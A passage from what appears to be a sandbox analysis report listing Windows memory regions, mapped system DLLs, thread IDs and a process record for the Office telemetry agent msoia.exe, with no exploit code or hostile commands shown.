= 0x7fef3500000 end_va = 0x7fef359ffff entry_point = 0x7fef3500000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 2585 start_va = 0x7fef9810000 end_va = 0x7fef98b6fff entry_point = 0x7fef9810000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 2586 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2587 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2588 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2589 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2590 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2591 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2592 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2593 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2633 start_va = 0x4b0000 end_va = 0x4b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 2634 start_va = 0x750000 end_va = 0x750fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 2635 start_va = 0x760000 end_va = 0x761fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 2636 start_va = 0xd40000 end_va = 0xd47fff entry_point = 0xd40000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 2637 start_va = 0xd50000 end_va = 0xd51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d50000" filename = "" Region: id = 2638 start_va = 0xd60000 end_va = 0xd63fff entry_point = 0xd60000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 2639 start_va = 0xd70000 end_va = 0xd73fff entry_point = 0xd70000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 2640 start_va = 0xd80000 end_va = 0xd80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d80000" filename = "" Region: id = 2641 start_va = 0xd90000 end_va = 0xd90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d90000" filename = "" Region: id = 2642 start_va = 0xda0000 end_va = 0xdaffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 2643 start_va = 0x13c0000 end_va = 0x147ffff entry_point = 0x13c0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2644 start_va = 0x1480000 end_va = 0x157ffff entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 2645 start_va = 0x1620000 end_va = 0x171ffff entry_point = 0x0 region_type = private name = "private_0x0000000001620000" filename = "" Region: id = 2646 start_va = 0x17e0000 end_va = 0x18dffff entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 2647 start_va = 0x18e0000 end_va = 0x19dffff entry_point = 0x0 region_type = private name = "private_0x00000000018e0000" filename = "" Region: id = 2648 start_va = 0x19e0000 end_va = 0x1d22fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019e0000" filename = "" Region: id = 2649 start_va = 0x1d30000 end_va = 0x1e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 2650 start_va = 0x1e80000 end_va = 0x1efffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 2651 start_va = 0x2030000 end_va = 0x203ffff entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 2652 start_va = 0x20c0000 end_va = 0x21bffff entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 2653 start_va = 0x2240000 end_va = 0x233ffff entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 2654 start_va = 0x2460000 end_va = 0x255ffff entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2655 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 2656 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2657 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2658 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2659 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2660 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2661 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 2662 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2663 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2664 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 2665 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2666 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2667 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2668 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2669 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2670 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2671 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2672 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2673 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2674 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2675 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2676 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2677 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2678 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2679 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 2680 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2681 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2682 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2683 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2684 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2685 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2686 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2687 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2688 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2689 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Thread: id = 106 os_tid = 0x884 Thread: id = 259 os_tid = 0xb94 Thread: id = 261 os_tid = 0xb8c Thread: id = 265 os_tid = 0xbe8 Thread: id = 267 os_tid = 0x744 Thread: id = 268 os_tid = 0x73c Thread: id = 270 os_tid = 0x934 Thread: id = 272 os_tid = 0xc4 Thread: id = 273 os_tid = 0x558 Thread: id = 274 os_tid = 0x90 Thread: id = 275 os_tid = 0xc0 Thread: id = 280 os_tid = 0x8b8 Thread: id = 283 os_tid = 0xb38 Thread: id = 288 os_tid = 0x8d8 Thread: id = 289 os_tid = 0x92c Process: id = "11" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0xb6cc000" os_pid = "0x8ac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x850" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1232 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1233 start_va = 0x30000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1234 start_va = 0x130000 end_va = 0x133fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 1235 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1236 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1237 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1238 start_va = 0x13f5f0000 end_va = 0x13f931fff entry_point = 0x13f5f0000 region_type = mapped_file name = "msoia.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe") Region: id = 1239 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1240 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1241 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1242 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1268 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1269 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1270 start_va = 0x270000 end_va = 0x2d6fff entry_point = 0x270000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1271 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1272 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1273 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1274 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1500 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1501 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 1502 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1503 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1504 start_va = 0x460000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 1505 start_va = 0x470000 end_va = 0x5f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 1506 start_va = 0x600000 end_va = 0x780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 1507 start_va = 0x790000 end_va = 0x1b8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 1508 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1509 start_va = 0x7fef8370000 end_va = 0x7fef8559fff entry_point = 0x7fef8370000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 1510 start_va = 0x7fef8560000 end_va = 0x7fef8799fff entry_point = 0x7fef8560000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 1511 start_va = 0x7fefaa80000 end_va = 0x7fefaa82fff entry_point = 0x7fefaa80000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 1512 start_va = 0x7fefaa90000 end_va = 0x7fefaa92fff entry_point = 0x7fefaa90000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 1513 start_va = 0x7fefaaa0000 end_va = 0x7fefaaa2fff entry_point = 0x7fefaaa0000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 1514 start_va = 0x7fefaab0000 end_va = 0x7fefaab2fff entry_point = 0x7fefaab0000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 1515 start_va = 0x7fefaac0000 end_va = 0x7fefaac4fff entry_point = 0x7fefaac0000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 1516 start_va = 0x7fefaad0000 end_va = 0x7fefaad4fff entry_point = 0x7fefaad0000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 1517 start_va = 0x7fefaae0000 end_va = 0x7fefaae2fff entry_point = 0x7fefaae0000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 1518 start_va = 0x7fefaaf0000 end_va = 0x7fefab8bfff entry_point = 0x7fefaaf0000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 1519 start_va = 0x7fefab90000 end_va = 0x7fefab93fff entry_point = 0x7fefab90000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 1520 start_va = 0x7fefaba0000 end_va = 0x7fefaba3fff entry_point = 0x7fefaba0000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 1521 start_va = 0x7fefabb0000 end_va = 0x7fefabb2fff entry_point = 0x7fefabb0000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 1522 start_va = 0x7fefabc0000 end_va = 0x7fefabc3fff entry_point = 0x7fefabc0000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 1523 start_va = 0x7fefabd0000 end_va = 0x7fefabd2fff entry_point = 0x7fefabd0000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 1524 start_va = 0x7fefabe0000 end_va = 0x7fefabe2fff entry_point = 0x7fefabe0000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 1525 start_va = 0x7fefabf0000 end_va = 0x7fefabf2fff entry_point = 0x7fefabf0000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1526 start_va = 0x7fefac00000 end_va = 0x7fefac02fff entry_point = 0x7fefac00000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 1527 start_va = 0x7fefac10000 end_va = 0x7fefac12fff entry_point = 0x7fefac10000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 1528 start_va = 0x7fefac20000 end_va = 0x7fefac22fff entry_point = 0x7fefac20000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 1529 start_va = 0x7fefac30000 end_va = 0x7fefad21fff entry_point = 0x7fefac30000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1530 start_va = 0x7fefad30000 end_va = 0x7fefad33fff entry_point = 0x7fefad30000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 1531 start_va = 0x7fefad40000 end_va = 0x7fefad55fff entry_point = 0x7fefad40000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 1532 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1533 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1534 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1535 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1536 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1537 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1538 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1539 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = 